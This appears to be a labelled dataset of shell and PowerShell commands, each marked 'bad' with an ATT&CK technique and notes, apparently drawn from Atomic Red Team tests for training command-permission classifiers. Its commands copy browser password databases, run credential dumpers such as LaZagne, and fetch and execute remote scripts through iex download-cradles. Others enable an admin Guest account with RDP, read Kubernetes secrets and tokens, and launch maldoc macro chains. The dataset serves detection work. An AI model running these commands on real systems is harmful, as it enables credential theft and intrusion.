cowWhySo/permission-command-corpus huggingface dataset:
Command: Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" -Destination "PathToAtomicsFolder\..\ExternalPayloads" Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data For Account" -Destination "PathToAtomicsFolder\..\ExternalPayloads"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: windows
ATT&CK tags: T1555.003
Source rule: Simulating access to Chrome Login Data
Notes: Simulates an adversary accessing encrypted credentials from Google Chrome Login database.
Command: Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Login Data" -Force -ErrorAction Ignore Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Login Data For Account" -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: windows
ATT&CK tags: T1555.003
Source rule: Simulating access to Chrome Login Data
Notes: Simulates an adversary accessing encrypted credentials from Google Chrome Login database.
Command: Copy-Item "$env:APPDATA\Opera Software\Opera Stable\Login Data" -Destination "PathToAtomicsFolder\..\ExternalPayloads"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: windows
ATT&CK tags: T1555.003
Source rule: Simulating access to Opera Login Data
Notes: Simulates an adversary accessing encrypted credentials from Opera web browser's login database.
Command: Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Login Data" -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: windows
ATT&CK tags: T1555.003
Source rule: Simulating access to Opera Login Data
Notes: Simulates an adversary accessing encrypted credentials from Opera web browser's login database.
Command: Copy-Item "$env:APPDATA\Mozilla\Firefox\Profiles\" -Destination "PathToAtomicsFolder\..\ExternalPayloads" -Force -Recurse
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: windows
ATT&CK tags: T1555.003
Source rule: Simulating access to Windows Firefox Login Data
Notes: Simulates an adversary accessing encrypted credentials from firefox web browser's login database.
more info in https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data
Command: Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Profiles" -Force -ErrorAction Ignore -Recurse
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: windows
ATT&CK tags: T1555.003
Source rule: Simulating access to Windows Firefox Login Data
Notes: Simulates an adversary accessing encrypted credentials from firefox web browser's login database.
more info in https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data
Command: Copy-Item "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default" -Destination "PathToAtomicsFolder\..\ExternalPayloads\Edge" -Force -Recurse
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: windows
ATT&CK tags: T1555.003
Source rule: Simulating access to Windows Edge Login Data
Notes: Simulates an adversary accessing encrypted credentials from Edge web browser's login database.
more info in https://www.forensicfocus.com/articles/chromium-based-microsoft-edge-from-a-forensic-point-of-view/
Command: Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Edge" -Force -ErrorAction Ignore -Recurse
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: windows
ATT&CK tags: T1555.003
Source rule: Simulating access to Windows Edge Login Data
Notes: Simulates an adversary accessing encrypted credentials from Edge web browser's login database.
more info in https://www.forensicfocus.com/articles/chromium-based-microsoft-edge-from-a-forensic-point-of-view/
Command: $PasswordDBLocation = get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*.default-release\" cmd /c #{venv_path}\Scripts\python.exe #{Firepwd_Path} -d $PasswordDBLocation > #{Out_Filepath} cat #{Out_Filepath}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: windows
ATT&CK tags: T1555.003
Source rule: Decrypt Mozilla Passwords with Firepwd.py
Notes: Firepwd.py is a script that can decrypt Mozilla (Thunderbird, Firefox) passwords.
Upon successful execution, the decrypted credentials will be output to a text file, as well as displayed on screen. 

Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution.
Command: Remove-Item -Path "#{Out_Filepath}" -erroraction silentlycontinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: windows
ATT&CK tags: T1555.003
Source rule: Decrypt Mozilla Passwords with Firepwd.py
Notes: Firepwd.py is a script that can decrypt Mozilla (Thunderbird, Firefox) passwords.
Upon successful execution, the decrypted credentials will be output to a text file, as well as displayed on screen. 

Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution.
Command: python3 #{lazagne_path}/laZagne.py #{specific_module} >> #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: linux
ATT&CK tags: T1555.003
Source rule: LaZagne.py - Dump Credentials from Firefox Browser
Notes: Credential Dump Ubuntu 20.04.4 LTS Focal Fossa Firefox Browser, Reference https://github.com/AlessandroZ/LaZagne
Command: rm -R /tmp/LaZagne; rm -f #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: linux
ATT&CK tags: T1555.003
Source rule: LaZagne.py - Dump Credentials from Firefox Browser
Notes: Credential Dump Ubuntu 20.04.4 LTS Focal Fossa Firefox Browser, Reference https://github.com/AlessandroZ/LaZagne
Command: Remove-Item -Path "$env:temp\T1555.003.zip" -force -erroraction silentlycontinue Remove-Item -Path "$env:temp\T1555.003\" -force -recurse -erroraction silentlycontinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: windows
ATT&CK tags: T1555.003
Source rule: Stage Popular Credential Files for Exfiltration
Notes: This test is designed to search a drive for credential files used by the most common web browsers on Windows (Firefox, Chrome, Opera, and Edge), export the found files to a folder, and zip it,
simulating how an adversary might stage sensitive credential files for exfiltration in order to conduct offline password extraction with tools like [firepwd.py](https://github.com/lclevy/firepwd) or [HackBrowserData](https://github.com/moonD4rk/HackBrowserData).
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') browserpwn -consoleoutput -noninteractive
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: windows
ATT&CK tags: T1555.003
Source rule: WinPwn - BrowserPwn
Notes: Collect Browser credentials as well as the history via winpwn browserpwn function of WinPwn.
Command: rm .\System.Data.SQLite.dll -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: windows
ATT&CK tags: T1555.003
Source rule: WinPwn - BrowserPwn
Notes: Collect Browser credentials as well as the history via winpwn browserpwn function of WinPwn.
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') kittenz -consoleoutput -noninteractive
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: windows
ATT&CK tags: T1555.003
Source rule: WinPwn - Loot local Credentials - mimi-kittenz
Notes: Loot local Credentials - mimi-kittenz technique via function of WinPwn - Extend timeout to 600s
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Sharpweb.ps1') Invoke-Sharpweb -command "all"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: windows
ATT&CK tags: T1555.003
Source rule: WinPwn - PowerSharpPack - Sharpweb for Browser Credentials
Notes: PowerSharpPack - Sharpweb searching for Browser Credentials technique via function of WinPwn
Command: cp ~/Library/"Application Support/Google/Chrome/Default/Login Data" "/tmp/T1555.003_Login Data" cp ~/Library/"Application Support/Google/Chrome/Default/Login Data For Account" "/tmp/T1555.003_Login Data For Account"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: macos
ATT&CK tags: T1555.003
Source rule: Simulating Access to Chrome Login Data - MacOS
Notes: This test locates the Login Data files used by Chrome to store encrypted credentials, then copies them to the temp directory for later exfil. 
Once the files are exfiltrated, malware like CookieMiner could be used to perform credential extraction. 
See https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ .
Command: rm "/tmp/T1555.003_Login Data" >/dev/null 2>&1 rm "/tmp/T1555.003_Login Data For Account" >/dev/null 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: macos
ATT&CK tags: T1555.003
Source rule: Simulating Access to Chrome Login Data - MacOS
Notes: This test locates the Login Data files used by Chrome to store encrypted credentials, then copies them to the temp directory for later exfil. 
Once the files are exfiltrated, malware like CookieMiner could be used to perform credential extraction. 
See https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ .
Command: Start-Process "#{webbrowserpassview_path}" Start-Sleep -Second 4 Stop-Process -Name "WebBrowserPassView"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: windows
ATT&CK tags: T1555.003
Source rule: WebBrowserPassView - Credentials from Browser
Notes: The following Atomic test utilizes WebBrowserPassView to extract passwords from browsers on a Window system. WebBrowserPassView is an open source application used to retrieve passwords stored on a local computer. Recently noticed as a tool used in the BlackCat Ransomware.
Command: $profile = (Gci -filter "*default-release*" -path $env:Appdata\Mozilla\Firefox\Profiles\).FullName Remove-Item $profile\key4.db > $null Remove-Item $profile\logins.json > $null Copy-Item "PathToAtomicsFolder\..\ExternalPayloads" -Destination $profile\ > $null Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\key4.db" > $null Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\logins.json" > $null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: windows
ATT&CK tags: T1555.003
Source rule: BrowserStealer (Chrome / Firefox / Microsoft Edge)
Notes: [Github Repo](https://github.com/SaulBerrenson/BrowserStealer) Simple password/cookies stealer for chrome, edge, and gecko based browsers (30 listed working). This attack simulates stealing the data from the browser files and printing them to the command line.
If using to test with Firefox, if the browser is x64 you need to use the x64 build
Command: esentutl.exe /y "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /d "#{output_path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: windows
ATT&CK tags: T1555.003
Source rule: Dump Chrome Login Data with esentutl
Notes: This test simulates an adversary using esentutl to dump encrypted credentials from Google Chrome's Login database.
[Reference](https://actzero.ai/resources/blog/hygiene-tip-shut-down-attackers-harvesting-cached-browser-credentials/)
Command: del /f /q #{output_path} > nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.003
Platform: windows
ATT&CK tags: T1555.003
Source rule: Dump Chrome Login Data with esentutl
Notes: This test simulates an adversary using esentutl to dump encrypted credentials from Google Chrome's Login database.
[Reference](https://actzero.ai/resources/blog/hygiene-tip-shut-down-attackers-harvesting-cached-browser-credentials/)
Command: net user #{guest_user} /active:yes net user #{guest_user} #{guest_password} net localgroup #{local_admin_group} #{guest_user} /add net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.001
Platform: windows
ATT&CK tags: T1078.001
Source rule: Enable Guest account with RDP capability and admin privileges
Notes: After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group,
and desktop will allow multiple RDP connections.
Command: net user #{guest_user} /active:yes
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.001
Platform: windows
ATT&CK tags: T1078.001
Source rule: Activate Guest Account
Notes: The Adversaries can activate the default Guest user. The guest account is inactivated by default
Command: net user #{guest_user} /active:no
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.001
Platform: windows
ATT&CK tags: T1078.001
Source rule: Activate Guest Account
Notes: The Adversaries can activate the default Guest user. The guest account is inactivated by default
Command: sudo sysadminctl -guestAccount on
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.001
Platform: macos
ATT&CK tags: T1078.001
Source rule: Enable Guest Account on macOS
Notes: This test enables the guest account on macOS using sysadminctl utility.
Command: sudo sysadminctl -guestAccount off
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.001
Platform: macos
ATT&CK tags: T1078.001
Source rule: Enable Guest Account on macOS
Notes: This test enables the guest account on macOS using sysadminctl utility.
Command: kubectl run #{pod_name} --image=#{image_name} --restart=Never --attach --rm -i -- bash -lc "mkdir -p /tmp/test && cd /tmp/test && npm init -y >/dev/null 2>&1 && echo '--- package.json before install ---' && cat package.json && npm install #{package_name} --no-audit --no-fund --no-package-lock && echo '--- package.json after install ---' && cat package.json"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1195.002
Platform: containers,linux
ATT&CK tags: T1195.002
Source rule: Simulate npm package installation on a Linux system
Notes: Launches a short‑lived Kubernetes pod using the Node 18 image, initializes a minimal npm project in /tmp/test, and installs the specified npm package without audit/fund/package‑lock options, simulating potentially suspicious package retrieval (e.g., typosquatting/dependency confusion) from within a container. The pod is deleted after execution.
Command: kubectl get secrets --all-namespaces
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.007
Platform: containers
ATT&CK tags: T1552.007
Source rule: List All Secrets
Notes: A Kubernetes secret is an object that lets users store and manage sensitive information, such as passwords and connection strings in the cluster. Secrets can be consumed by reference in the pod configuration. Attackers who have permissions to retrieve the secrets from the API server (by using the pod service account, for example) can access sensitive information that might include credentials to various services or provide further access to the cluster.
[More information about secrets](https://k
Command: kubectl get secrets -n #{namespace}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.007
Platform: containers
ATT&CK tags: T1552.007
Source rule: ListSecrets
Notes: A Kubernetes secret is an object that lets users store and manage sensitive information, such as passwords and connection strings in the cluster. Secrets can be consumed by reference in the pod configuration. Attackers who have permissions to retrieve the secrets from the API server (by using the pod service account, for example) can access sensitive information that might include credentials to various services.
Command: kubectl --context kind-atomic-cluster exec atomic-pod -- cat /run/secrets/kubernetes.io/serviceaccount/token
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.007
Platform: linux
ATT&CK tags: T1552.007
Source rule: Cat the contents of a Kubernetes service account token file
Notes: Access the Kubernetes service account access token stored within a container in a cluster.
Command: kubectl --context kind-atomic-cluster delete pod atomic-pod
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.007
Platform: linux
ATT&CK tags: T1552.007
Source rule: Cat the contents of a Kubernetes service account token file
Notes: Access the Kubernetes service account access token stored within a container in a cluster.
Command: sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -quiet
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1021.005
Platform: macos
ATT&CK tags: T1021.005
Source rule: Enable Apple Remote Desktop Agent
Notes: ARD leverages a blend of protocols, including VNC to send the screen and control buffers and SSH for secure file transfer. 
Adversaries can abuse ARD to gain remote code execution and perform lateral movement.

References:  https://www.mandiant.com/resources/blog/leveraging-apple-remote-desktop-for-good-and-evil
Command: sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -deactivate -stop -configure -privs -none -quiet
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1021.005
Platform: macos
ATT&CK tags: T1021.005
Source rule: Enable Apple Remote Desktop Agent
Notes: ARD leverages a blend of protocols, including VNC to send the screen and control buffers and SSH for secure file transfer. 
Adversaries can abuse ARD to gain remote code execution and perform lateral movement.

References:  https://www.mandiant.com/resources/blog/leveraging-apple-remote-desktop-for-good-and-evil
Command: systemctl stop #{systemd_service_file} systemctl disable #{systemd_service_file} rm -rf #{systemd_service_path}/#{systemd_service_file} systemctl daemon-reload
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.002
Platform: linux
ATT&CK tags: T1543.002
Source rule: Create Systemd Service
Notes: This test creates a Systemd service unit file and enables it as a service.
Command: sysrc -x art_test_enable rm -f #{rc_service_path}/#{rc_service_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.002
Platform: linux
ATT&CK tags: T1543.002
Source rule: Create SysV Service
Notes: This test creates a SysV service unit file and enables it as a service.
Command: systemctl stop T1543.002 systemctl disable T1543.002 rm -rf /etc/init.d/T1543.002 systemctl daemon-reload
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.002
Platform: linux
ATT&CK tags: T1543.002
Source rule: Create Systemd Service file,  Enable the service , Modify and Reload the service.
Notes: This test creates a systemd service unit file and enables it to autostart on boot. Once service is created and enabled, it also modifies this same service file showcasing both Creation and Modification of system process.
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) $macrocode = " Open `"#{jse_path}`" For Output As #1`n Write #1, `"WScript.Quit`"`n Close #1`n Shell`$ `"cscript.exe #{jse_path}`"`n" Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: OSTap Style Macro Execution
Notes: This Test uses a VBA macro to create and execute #{jse_path} with cscript.exe. Upon execution, the .jse file launches wscript.exe.
Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
This is a known execution chain observed by the OSTap downloader commonly used in TrickBot campaigns.
References:
  https://www.computerweekly.com/news/252470091/TrickBot-Trojan-sw
Command: Remove-Item #{jse_path} -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: OSTap Style Macro Execution
Notes: This Test uses a VBA macro to create and execute #{jse_path} with cscript.exe. Upon execution, the .jse file launches wscript.exe.
Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
This is a known execution chain observed by the OSTap downloader commonly used in TrickBot campaigns.
References:
  https://www.computerweekly.com/news/252470091/TrickBot-Trojan-sw
Command: echo var url = "#{file_url}", fso = WScript.CreateObject('Scripting.FileSystemObject'), request, stream; request = WScript.CreateObject('MSXML2.ServerXMLHTTP'); request.open('GET', url, false); request.send(); if (request.status === 200) {stream = WScript.CreateObject('ADODB.Stream'); stream.Open(); stream.Type = 1; stream.Write(request.responseBody); stream.Position = 0; stream.SaveToFile('ostapout.txt', 1); stream.Close();} else {WScript.Quit(1);}WScript.Quit(0); > #{script_file} cscript //E:Jscript #{script_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: OSTap Payload Download
Notes: Uses cscript //E:jscript to download a file
Command: del #{script_file} /F /Q >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: OSTap Payload Download
Notes: Uses cscript //E:jscript to download a file
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) $macrocode = " a = Shell(`"cmd.exe /c choice /C Y /N /D Y /T 3`", vbNormalFocus)" Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: Maldoc choice flags command execution
Notes: This Test uses a VBA macro to execute cmd with flags observed in recent maldoc and 2nd stage downloaders. Upon execution, CMD will be launched.
Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) $macrocode = " Open `"#{jse_path}`" For Output As #1`n Write #1, `"WScript.Quit`"`n Close #1`n a = Shell(`"cmd.exe /c wscript.exe //E:jscript #{jse_path}`", vbNormalFocus)`n" Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.002
Platform: windows
ATT&CK tags: T1204.002
Source rule: OSTAP JS version
Notes: Malicious JavaScript executing CMD which spawns wscript.exe //e:jscript
Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.